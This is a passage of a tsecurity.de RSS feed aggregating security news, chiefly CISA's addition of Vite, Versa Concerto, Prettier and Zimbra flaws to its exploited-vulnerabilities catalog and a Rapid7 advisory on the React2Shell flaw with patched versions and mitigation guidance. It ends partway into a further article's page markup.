<description><![CDATA[Die CISA warnt vor beobachteten Angriffen auf VMware vCenter, Zimbra, Vite Vitejs, Versa Concerto und Prettier.]]></description>
<link>https://tsecurity.de/de/3234918/it-security-nachrichten/cisa-warnung-vor-angriffen-auf-vmware-vcenter-zimbra-und-mehr/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3234918/it-security-nachrichten/cisa-warnung-vor-angriffen-auf-vmware-vcenter-zimbra-und-mehr/</guid>
<pubDate>Mon, 26 Jan 2026 14:50:27 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Die CISA warnt vor beobachteten Angriffen auf VMware vCenter, Zimbra, Vite Vitejs, Versa Concerto und Prettier.]]></content:encoded>
</item>
<item>
<title><![CDATA[CISA-Warnung vor Angriffen auf  VMware vCenter, Zimbra und mehr]]></title>
<description><![CDATA[Die CISA warnt vor beobachteten Angriffen auf VMware vCenter, Zimbra, Vite Vitejs, Versa Concerto und Prettier.]]></description>
<link>https://tsecurity.de/de/3234913/it-nachrichten/cisa-warnung-vor-angriffen-auf-vmware-vcenter-zimbra-und-mehr/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3234913/it-nachrichten/cisa-warnung-vor-angriffen-auf-vmware-vcenter-zimbra-und-mehr/</guid>
<pubDate>Mon, 26 Jan 2026 14:46:41 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Die CISA warnt vor beobachteten Angriffen auf VMware vCenter, Zimbra, Vite Vitejs, Versa Concerto und Prettier.]]></content:encoded>
</item>
<item>
<title><![CDATA[CISA confirms active exploitation of four enterprise software bugs]]></title>
<description><![CDATA[The Cybersecurity and Infrastructure Security Agency (CISA) in the U.S. warned of active exploitation of four vulnerabilities impacting enterprise software from Versa and Zimbra, the Vite frontend tooling framework, and the Prettier code formatter. [...]]]></description>
<link>https://tsecurity.de/de/3231014/it-security-nachrichten/cisa-confirms-active-exploitation-of-four-enterprise-software-bugs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3231014/it-security-nachrichten/cisa-confirms-active-exploitation-of-four-enterprise-software-bugs/</guid>
<pubDate>Fri, 23 Jan 2026 20:05:44 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Cybersecurity and Infrastructure Security Agency (CISA) in the U.S. warned of active exploitation of four vulnerabilities impacting enterprise software from Versa and Zimbra, the Vite frontend tooling framework, and the Prettier code formatter. [...]]]></content:encoded>
</item>
<item>
<title><![CDATA[U.S. CISA adds Prettier eslint-config-prettier, Vite Vitejs, Versa Concerto SD-WAN orchestration platform, and Synacor Zimbra Collaboration Suite flaws to its Known Exploited Vulnerabilities catalog]]></title>
<description><![CDATA[U.S. Cybersecurity and Infrastructure Security Agency (CISA) adds Prettier eslint-config-prettier, Vite Vitejs, Versa Concerto SD-WAN orchestration platform, and Synacor Zimbra Collaboration Suite flaws to its Known Exploited Vulnerabilities catalog. The U.S. Cybersecurity and Infrastructure Secu...]]></description>
<link>https://tsecurity.de/de/3230252/it-security-nachrichten/us-cisa-adds-prettier-eslint-config-prettier-vite-vitejsversa-concerto-sd-wan-orchestration-platform-and-synacor-zimbra-collaboration-suite-flaws-to-its-known-exploited-vulnerabilities-catalog/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3230252/it-security-nachrichten/us-cisa-adds-prettier-eslint-config-prettier-vite-vitejsversa-concerto-sd-wan-orchestration-platform-and-synacor-zimbra-collaboration-suite-flaws-to-its-known-exploited-vulnerabilities-catalog/</guid>
<pubDate>Fri, 23 Jan 2026 13:35:54 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[U.S. Cybersecurity and Infrastructure Security Agency (CISA) adds Prettier eslint-config-prettier, Vite Vitejs, Versa Concerto SD-WAN orchestration platform, and Synacor Zimbra Collaboration Suite flaws to its Known Exploited Vulnerabilities catalog. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) added Prettier eslint-config-prettier, Vite Vitejs, Versa Concerto SD-WAN orchestration platform and Synacor Zimbra Collaboration Suite flaws to its Known Exploited Vulnerabilities […]]]></content:encoded>
</item>
<item>
<title><![CDATA[U.S. CISA adds Prettier eslint-config-prettier, Vite Vitejs, Versa Concerto SD-WAN orchestration platform, and Synacor Zimbra Collaboration Suite flaws to its Known Exploited Vulnerabilities catalog]]></title>
<description><![CDATA[U.S. Cybersecurity and Infrastructure Security Agency (CISA) adds Prettier eslint-config-prettier, Vite Vitejs, Versa Concerto SD-WAN orchestration platform, and Synacor Zimbra Collaboration Suite flaws to its Known Exploited Vulnerabilities catalog. The U.S. Cybersecurity and Infrastructure Secu...]]></description>
<link>https://tsecurity.de/de/3230241/it-security-nachrichten/us-cisa-adds-prettier-eslint-config-prettier-vite-vitejsversa-concerto-sd-wan-orchestration-platform-and-synacor-zimbra-collaboration-suite-flaws-to-its-known-exploited-vulnerabilities-catalog/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3230241/it-security-nachrichten/us-cisa-adds-prettier-eslint-config-prettier-vite-vitejsversa-concerto-sd-wan-orchestration-platform-and-synacor-zimbra-collaboration-suite-flaws-to-its-known-exploited-vulnerabilities-catalog/</guid>
<pubDate>Fri, 23 Jan 2026 13:35:39 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>U.S. Cybersecurity and Infrastructure Security Agency (CISA) adds Prettier eslint-config-prettier, Vite Vitejs, Versa Concerto SD-WAN orchestration platform, and Synacor Zimbra Collaboration Suite flaws to its Known Exploited Vulnerabilities catalog. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) added Prettier eslint-config-prettier, Vite Vitejs, Versa…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/u-s-cisa-adds-prettier-eslint-config-prettier-vite-vitejs-versa-concerto-sd-wan-orchestration-platform-and-synacor-zimbra-collaboration-suite-flaws-to-its-known-exploited-vulnerabilities-cata/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/u-s-cisa-adds-prettier-eslint-config-prettier-vite-vitejs-versa-concerto-sd-wan-orchestration-platform-and-synacor-zimbra-collaboration-suite-flaws-to-its-known-exploited-vulnerabilities-cata/">U.S. CISA adds Prettier eslint-config-prettier, Vite Vitejs, Versa Concerto SD-WAN orchestration platform, and Synacor Zimbra Collaboration Suite flaws to its Known Exploited Vulnerabilities catalog</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CISA Adds Four Known Exploited Vulnerabilities to Catalog]]></title>
<description><![CDATA[CISA has added four new vulnerabilities to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation.

CVE-2025-31125 Vite Vitejs Improper Access Control Vulnerability
CVE-2025-34026 Versa Concerto Improper Authentication Vulnerability
CVE-2025-54313 Prettier esl...]]></description>
<link>https://tsecurity.de/de/3229010/it-security-nachrichten/cisa-adds-four-known-exploited-vulnerabilities-to-catalog/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3229010/it-security-nachrichten/cisa-adds-four-known-exploited-vulnerabilities-to-catalog/</guid>
<pubDate>Thu, 22 Jan 2026 20:36:41 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>CISA has added four new vulnerabilities to its <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" data-entity-type="node" data-entity-uuid="79453b83-86b9-4e2f-b1ec-abf73c6eb291" data-entity-substitution="canonical" title="Known Exploited Vulnerabilities Catalog">Known Exploited Vulnerabilities (KEV) Catalog</a>, based on evidence of active exploitation.</p>
<ul>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2025-31125" target="_blank" data-entity-type="external">CVE-2025-31125</a> Vite Vitejs Improper Access Control Vulnerability</li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2025-34026" target="_blank" data-entity-type="external">CVE-2025-34026</a> Versa Concerto Improper Authentication Vulnerability</li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2025-54313" target="_blank" data-entity-type="external">CVE-2025-54313</a> Prettier eslint-config-prettier Embedded Malicious Code Vulnerability</li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2025-68645" target="_blank" data-entity-type="external">CVE-2025-68645</a> Synacor Zimbra Collaboration Suite (ZCS) PHP Remote File Inclusion Vulnerability</li>
</ul>
<p>These types of vulnerabilities are frequent attack vectors for malicious cyber actors and pose significant risks to the federal enterprise.</p>
<p><a href="https://www.cisa.gov/binding-operational-directive-22-01">Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities</a> established the KEV Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the <a href="https://www.cisa.gov/sites/default/files/publications/Reducing_the_Significant_Risk_of_Known_Exploited_Vulnerabilities_211103.pdf">BOD 22-01 Fact Sheet</a> for more information.</p>
<p>Although BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" data-entity-type="node" data-entity-uuid="79453b83-86b9-4e2f-b1ec-abf73c6eb291" data-entity-substitution="canonical" title="Known Exploited Vulnerabilities Catalog">KEV Catalog vulnerabilities</a> as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the <a href="https://www.cisa.gov/known-exploited-vulnerabilities" data-entity-type="node" data-entity-uuid="f2adba9a-0404-494c-a90c-4363a4a5c934" data-entity-substitution="canonical" title="Reducing the Significant Risk of Known Exploited Vulnerabilities">specified criteria</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Tuesday]]></title>
<description><![CDATA[Security updates have been issued by Debian (openjpeg2, osslsigncode, php-dompdf, and python-django), Fedora (fluidsynth, golang-github-alecthomas-chroma-2, golang-github-evanw-esbuild, golang-github-jwt-5, and opentofu), Mageia (ceph and ruby-rack), and SUSE (anubis, apache2-mod_auth_openidc, dp...]]></description>
<link>https://tsecurity.de/de/3186286/linux-tipps/security-updates-for-tuesday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3186286/linux-tipps/security-updates-for-tuesday/</guid>
<pubDate>Tue, 30 Dec 2025 15:07:19 +0100</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>Debian</b> (openjpeg2, osslsigncode, php-dompdf, and python-django), <b>Fedora</b> (fluidsynth, golang-github-alecthomas-chroma-2, golang-github-evanw-esbuild, golang-github-jwt-5, and opentofu), <b>Mageia</b> (ceph and ruby-rack), and <b>SUSE</b> (anubis, apache2-mod_auth_openidc, dpdk22, kernel, libpng16, and python311-openapi-core).]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in golang-github-evanw-esbuild (Fedora)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3185535/unix-server/security-mehrere-probleme-in-golang-github-evanw-esbuild-fedora/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3185535/unix-server/security-mehrere-probleme-in-golang-github-evanw-esbuild-fedora/</guid>
<pubDate>Tue, 30 Dec 2025 07:01:20 +0100</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in golang-github-evanw-esbuild (Fedora)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3185529/unix-server/security-mehrere-probleme-in-golang-github-evanw-esbuild-fedora/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3185529/unix-server/security-mehrere-probleme-in-golang-github-evanw-esbuild-fedora/</guid>
<pubDate>Tue, 30 Dec 2025 07:01:12 +0100</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2025-55183 | Meta react-server-dom-webpack up to 19.0.1/19.1.2/19.2.1 React Server deserialization (WID-SEC-2025-2835)]]></title>
<description><![CDATA[A vulnerability was found in Meta react-server-dom-webpack, react-server-dom-turbopack and react-server-dom-parcel up to 19.0.1/19.1.2/19.2.1. It has been declared as problematic. Impacted is an unknown function of the component React Server Component. Such manipulation leads to deserialization.
...]]></description>
<link>https://tsecurity.de/de/3155582/sicherheitsluecken/cve-2025-55183-meta-react-server-dom-webpack-up-to-190119121921-react-server-deserialization-wid-sec-2025-2835/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3155582/sicherheitsluecken/cve-2025-55183-meta-react-server-dom-webpack-up-to-190119121921-react-server-deserialization-wid-sec-2025-2835/</guid>
<pubDate>Fri, 12 Dec 2025 15:36:38 +0100</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/?product.meta:react-server-dom-webpack">Meta react-server-dom-webpack, react-server-dom-turbopack and react-server-dom-parcel up to 19.0.1/19.1.2/19.2.1</a>. It has been declared as <a href="https://vuldb.com/?kb.risk">problematic</a>. Impacted is an unknown function of the component <em>React Server Component</em>. Such manipulation leads to deserialization.

This vulnerability is listed as <a href="https://vuldb.com/?source_cve.335979">CVE-2025-55183</a>. The attack may be performed from remote. There is no available exploit.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2025-55184 | Meta react-server-dom-webpack up to 19.0.1/19.1.2/19.2.1 React Server deserialization (WID-SEC-2025-2835)]]></title>
<description><![CDATA[A vulnerability classified as problematic has been found in Meta react-server-dom-webpack, react-server-dom-turbopack and react-server-dom-parcel up to 19.0.1/19.1.2/19.2.1. Affected by this issue is some unknown functionality of the component React Server Component. Performing manipulation resul...]]></description>
<link>https://tsecurity.de/de/3155581/sicherheitsluecken/cve-2025-55184-meta-react-server-dom-webpack-up-to-190119121921-react-server-deserialization-wid-sec-2025-2835/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3155581/sicherheitsluecken/cve-2025-55184-meta-react-server-dom-webpack-up-to-190119121921-react-server-deserialization-wid-sec-2025-2835/</guid>
<pubDate>Fri, 12 Dec 2025 15:36:36 +0100</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/?kb.risk">problematic</a> has been found in <a href="https://vuldb.com/?product.meta:react-server-dom-webpack">Meta react-server-dom-webpack, react-server-dom-turbopack and react-server-dom-parcel up to 19.0.1/19.1.2/19.2.1</a>. Affected by this issue is some unknown functionality of the component <em>React Server Component</em>. Performing manipulation results in deserialization.

This vulnerability is known as <a href="https://vuldb.com/?source_cve.335986">CVE-2025-55184</a>. Remote exploitation of the attack is possible. No exploit is available.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2025-67779 | Meta react-server-dom-parcel up to 19.0.2/19.1.3/19.2.2 React Server deserialization (WID-SEC-2025-2835)]]></title>
<description><![CDATA[A vulnerability, which was classified as problematic, has been found in Meta react-server-dom-parcel, react-server-dom-turbopack and react-server-dom-webpack up to 19.0.2/19.1.3/19.2.2. Impacted is an unknown function of the component React Server Component. Performing manipulation results in des...]]></description>
<link>https://tsecurity.de/de/3155579/sicherheitsluecken/cve-2025-67779-meta-react-server-dom-parcel-up-to-190219131922-react-server-deserialization-wid-sec-2025-2835/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3155579/sicherheitsluecken/cve-2025-67779-meta-react-server-dom-parcel-up-to-190219131922-react-server-deserialization-wid-sec-2025-2835/</guid>
<pubDate>Fri, 12 Dec 2025 15:36:34 +0100</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/?kb.risk">problematic</a>, has been found in <a href="https://vuldb.com/?product.meta:react-server-dom-parcel">Meta react-server-dom-parcel, react-server-dom-turbopack and react-server-dom-webpack up to 19.0.2/19.1.3/19.2.2</a>. Impacted is an unknown function of the component <em>React Server Component</em>. Performing manipulation results in deserialization.

This vulnerability is cataloged as <a href="https://vuldb.com/?source_cve.336100">CVE-2025-67779</a>. It is possible to initiate the attack remotely. There is no exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[Jira-Alternative: Plane 1.2.0 migriert von Next.js zu React Router und Vite]]></title>
<description><![CDATA[Das Projektmanagement-Tool Plane hat in Version 1.2.0 seinen gesamten Frontend-Stack umgebaut und behebt kritische Sicherheitslücken in Next.js und React.]]></description>
<link>https://tsecurity.de/de/3155480/it-nachrichten/jira-alternative-plane-120-migriert-von-nextjs-zu-react-router-und-vite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3155480/it-nachrichten/jira-alternative-plane-120-migriert-von-nextjs-zu-react-router-und-vite/</guid>
<pubDate>Fri, 12 Dec 2025 14:46:41 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Das Projektmanagement-Tool Plane hat in Version 1.2.0 seinen gesamten Frontend-Stack umgebaut und behebt kritische Sicherheitslücken in Next.js und React.]]></content:encoded>
</item>
<item>
<title><![CDATA[Think That Party Invite Is Real? Fake E-Vite Scams Are the New Phishing Trap]]></title>
<description><![CDATA[It looks harmless enough. A digital party invitation lands in your inbox or phone. You click to see the details....
The post Think That Party Invite Is Real? Fake E-Vite Scams Are the New Phishing Trap appeared first on McAfee Blog.]]></description>
<link>https://tsecurity.de/de/3153901/it-security-nachrichten/think-that-party-invite-is-real-fake-e-vite-scams-are-the-new-phishing-trap/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3153901/it-security-nachrichten/think-that-party-invite-is-real-fake-e-vite-scams-are-the-new-phishing-trap/</guid>
<pubDate>Thu, 11 Dec 2025 21:50:34 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img width="300" height="200" src="https://www.mcafee.com/blogs/wp-content/uploads/2023/12/small-blog-image.jpg" class="attachment-medium size-medium wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.mcafee.com/blogs/wp-content/uploads/2023/12/small-blog-image.jpg 300w, https://www.mcafee.com/blogs/wp-content/uploads/2023/12/small-blog-image-194x129.jpg 194w" sizes="(max-width: 300px) 100vw, 300px"></div>
<p>It looks harmless enough. A digital party invitation lands in your inbox or phone. You click to see the details....</p>
<p>The post <a href="https://www.mcafee.com/blogs/tips-tricks/think-that-party-invite-is-real-fake-e-vite-scams-are-the-new-phishing-trap/">Think That Party Invite Is Real? Fake E-Vite Scams Are the New Phishing Trap</a> appeared first on <a href="https://www.mcafee.com/blogs">McAfee Blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Developer-Häppchen – Kleinere News der vergangenen Woche (ehemals Snapshots)]]></title>
<description><![CDATA[Snapshots sind jetzt Häppchen: kleine, aber interessante Meldungshäppchen zu Julia, Prettier, IntelliJ IDEA, Vite, VS Code, Jupyter, Django und Apache Flink.]]></description>
<link>https://tsecurity.de/de/3145172/it-nachrichten/developer-haeppchen-kleinere-news-der-vergangenen-woche-ehemals-snapshots/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3145172/it-nachrichten/developer-haeppchen-kleinere-news-der-vergangenen-woche-ehemals-snapshots/</guid>
<pubDate>Mon, 08 Dec 2025 11:31:48 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Snapshots sind jetzt Häppchen: kleine, aber interessante Meldungshäppchen zu Julia, Prettier, IntelliJ IDEA, Vite, VS Code, Jupyter, Django und Apache Flink.]]></content:encoded>
</item>
<item>
<title><![CDATA[React2Shell (CVE-2025-55182) - Critical unauthenticated RCE affecting React Server Components]]></title>
<description><![CDATA[OverviewOn December 3, 2025, Meta disclosed a new vulnerability, CVE-2025-55182, which has since been dubbed React2Shell. A second CVE identifier, CVE-2025-66478, was assigned and published to track the vulnerability in the context of Next.js. However this second CVE has since been rejected as a ...]]></description>
<link>https://tsecurity.de/de/3139025/it-security-nachrichten/react2shell-cve-2025-55182-critical-unauthenticated-rce-affecting-react-server-components/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3139025/it-security-nachrichten/react2shell-cve-2025-55182-critical-unauthenticated-rce-affecting-react-server-components/</guid>
<pubDate>Thu, 04 Dec 2025 17:21:22 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Overview</h2><p><span>On December 3, 2025, Meta </span><a href="https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components"><span>disclosed</span></a><span> a new vulnerability, </span><a href="https://www.cve.org/CVERecord?id=CVE-2025-55182"><span>CVE-2025-55182</span></a><span>, which has since been dubbed React2Shell. A second CVE identifier, </span><a href="https://www.cve.org/CVERecord?id=CVE-2025-66478"><span>CVE-2025-66478</span></a><span>, was assigned and published to track the vulnerability in the context of </span><a href="http://next.js/"><span>Next.js</span></a><span>. However this second CVE has since been rejected as a duplicate of CVE-2025-55182, as the root cause in all cases is the same and should be referred to with a single common CVE identifier.</span></p><p></p><p><span>CVE-2025-55182 is a critical unauthenticated remote code execution vulnerability affecting </span><a href="https://react.dev/"><span>React</span></a><span>, a very popular library for building modern web applications. This new vulnerability has a CVSS rating of </span><a href="https://www.first.org/cvss/calculator/3-1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"><span>10.0</span></a><span>, which is the maximum rating possible and indicates the highly critical nature of the issue. Successful exploitation of CVE-2025-55182 allows a remote unauthenticated attacker to execute arbitrary code on an affected server via malicious HTTP requests.</span></p><p></p><p><span>The vulnerability affects React applications that support React </span><a href="https://react.dev/reference/rsc/server-components"><span>Server Components</span></a><span>. While the vulnerability affects the React Server Components feature, server applications may still be vulnerable even if the application does not explicitly implement any React Server Function endpoints but does support React Server Components. Additionally many popular frameworks based on React, such as Next.js, are also affected by this vulnerability.</span></p><p></p><p><span>A </span><a href="https://nextjs.org/blog/CVE-2025-66478"><span>separate advisory</span></a><span> was published by Vercel, the vendor for Next.js. This advisory tracks the impact of CVE-2025-55182 as it applies to the Next.js framework, and provides information for Next.js users to remediate the issue. </span></p><p></p><p><span>As of December 4, 2025, there is no known public exploit code available at this time. Several exploits have been published claiming to exploit CVE-2025-55182, however they have not been successfully verified as actually exploiting this vulnerability. This has been noted in the original finders website, </span><a href="https://react2shell.com/"><span>react2shell.com</span></a><span>. Therefore, broad exploitation has not yet begun, however once a viable public exploit becomes available we expect this to change.</span></p><p></p><p><span>Organizations who use React, or the affected downstream frameworks, are urged to remediate this vulnerability on an urgent basis, outside of normal patch cycles and before broad exploitation begins.</span></p><h2>Mitigation guidance</h2><p><span>CVE-2025-55182 affects versions 19.0, 19.1.0, 19.1.1, and 19.2.0 of the following React packages:</span></p><p></p><ul><li><p><a href="https://www.npmjs.com/package/react-server-dom-webpack"><span>react-server-dom-webpack</span></a></p></li><li><p><a href="https://www.npmjs.com/package/react-server-dom-parcel"><span>react-server-dom-parcel</span></a></p></li><li><p><a href="https://www.npmjs.com/package/react-server-dom-turbopack?activeTab=readme"><span>react-server-dom-turbopack</span></a></p></li></ul><p></p><p><span>A vendor supplied update for the above packages is available in versions 19.0.1, 19.1.2, and 19.2.1. Users of affected React packages are advised to update the latest remediated version on an urgent basis.</span></p><p></p><p><span>Downstream frameworks that depend on React are also affected, this includes (but is not limited to):</span></p><ul><li><p><a href="https://www.npmjs.com/package/next"><span>Next.js</span></a></p></li><li><p><a href="https://www.npmjs.com/package/react-router"><span>React Router</span></a></p></li><li><p><a href="https://www.npmjs.com/package/waku"><span>Waku</span></a></p></li><li><p><a href="https://www.npmjs.com/package/@parcel/rsc"><span>Parcel</span></a></p></li><li><p><a href="https://www.npmjs.com/package/@vitejs/plugin-rsc"><span>Vite</span></a></p></li><li><p><a href="https://www.npmjs.com/package/rwsdk"><span>RedwoodSDK</span></a></p></li></ul><p></p><p><span>For the latest mitigation guidance for React, please refer to the </span><a href="https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components"><span>React security advisory</span></a><span>. For the latest mitigation guidance specific to Next.js, please refer to the </span><a href="https://nextjs.org/blog/CVE-2025-66478"><span>Vercel security advisory</span></a><span>.</span></p><h2>Rapid7 customers</h2><h3><span>Exposure Command, InsightVM and Nexpose</span></h3><p><span>Exposure Command, InsightVM and Nexpose customers can assess exposure to CVE-2025-55812 with an unauthenticated check expected to be available in today's (December 4) content release. Note that the "Potential" check type must be enabled before running the scan to successfully assess for the vulnerability.</span></p><p></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[React2Shell – Critical Bug Exposes React Server Components to Unauthenticated Remote Code Execution]]></title>
<description><![CDATA[React2Shell – Critical Bug Exposes React Server Components to Unauthenticated Remote Code Execution
				
				
			
			
				
				
				
				
			
				
				
				
				
				
				
				
				
				
				
				
				 Post Views: 49
			
			
				
				
				
				
				



			
			
				
				
				
				
			
				
				
...]]></description>
<link>https://tsecurity.de/de/3138107/it-security-nachrichten/react2shell-critical-bug-exposes-react-server-components-to-unauthenticated-remote-code-execution/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3138107/it-security-nachrichten/react2shell-critical-bug-exposes-react-server-components-to-unauthenticated-remote-code-execution/</guid>
<pubDate>Thu, 04 Dec 2025 11:35:30 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="et_pb_section et_pb_section_0 et_section_specialty">
				
				
				
				
				
				<div class="et_pb_row">
				<div class="et_pb_column et_pb_column_3_4 et_pb_column_0   et_pb_specialty_column  et_pb_css_mix_blend_mode_passthrough">
				
				
				
				
				<div class="et_pb_row_inner et_pb_row_inner_0">
				<div class="et_pb_column et_pb_column_4_4 et_pb_column_inner et_pb_column_inner_0 et-last-child">
				
				
				
				
				<div class="et_pb_module et_pb_post_title et_pb_post_title_0 et_pb_bg_layout_light  et_pb_text_align_left">
				
				
				
				
				
				<div class="et_pb_title_container">
					<h1 class="entry-title">React2Shell – Critical Bug Exposes React Server Components to Unauthenticated Remote Code Execution</h1>
				</div>
				
			</div>
			</div>
				
				
				
				
			</div><div class="et_pb_row_inner et_pb_row_inner_1">
				<div class="et_pb_column et_pb_column_4_4 et_pb_column_inner et_pb_column_inner_1 et-last-child">
				
				
				
				
				<div class="et_pb_module et_pb_text et_pb_text_0  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><p><strong><div class="post-views content-post post-286774 entry-meta load-static">
				<span class="post-views-icon dashicons dashicons-chart-bar"></span> <span class="post-views-label">Post Views:</span> <span class="post-views-count">49</span>
			</div></strong></p></div>
			</div><div class="et_pb_module et_pb_text et_pb_text_1  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><br>
<!-- News_Horizontal_smaller --><br>
<ins class="adsbygoogle" data-ad-client="ca-pub-6620833063853657" data-ad-slot="8337846400"></ins><br>
</div>
			</div>
			</div>
				
				
				
				
			</div><div class="et_pb_row_inner et_pb_row_inner_2 patreon-row">
				<div class="et_pb_column et_pb_column_4_4 et_pb_column_inner et_pb_column_inner_2 et-last-child">
				
				
				
				
				<div class="et_pb_module et_pb_text et_pb_text_2  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><h3 class="premium-content">Join our <a class="green_color" href="https://www.patreon.com/posts/maximizing-your-87671900" target="_blank" rel="noopener sponsored">Patreon</a> Channel and Gain access to 70+ Exclusive Walkthrough Videos.</h3></div>
			</div><div class="et_pb_module et_pb_image et_pb_image_0">
				
				
				
				
				<a href="https://www.patreon.com/posts/create-evasive-111421720" target="_blank"><span class="et_pb_image_wrap "><img fetchpriority="high" decoding="async" width="800" height="120" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2025/02/Patreon-2.png" alt="Patreon" title="Patreon" srcset="https://www.blackhatethicalhacking.com/wp-content/uploads/2025/02/Patreon-2.png 800w, https://www.blackhatethicalhacking.com/wp-content/uploads/2025/02/Patreon-2-480x72.png 480w" sizes="(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 800px, 100vw" class="wp-image-282931"></span></a>
			</div><div class="et_pb_module et_pb_divider et_pb_divider_0 et_pb_divider_position_ et_pb_space"><div class="et_pb_divider_internal"></div></div>
			</div>
				
				
				
				
			</div><div class="et_pb_row_inner et_pb_row_inner_3">
				<div class="et_pb_column et_pb_column_4_4 et_pb_column_inner et_pb_column_inner_3 et-last-child">
				
				
				
				
				<div class="et_pb_module et_pb_text et_pb_text_3  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner">Reading Time: 3 Minutes</div>
			</div>
			</div>
				
				
				
				
			</div><div class="et_pb_row_inner et_pb_row_inner_4">
				<div class="et_pb_column et_pb_column_4_4 et_pb_column_inner et_pb_column_inner_4 et-last-child">
				
				
				
				
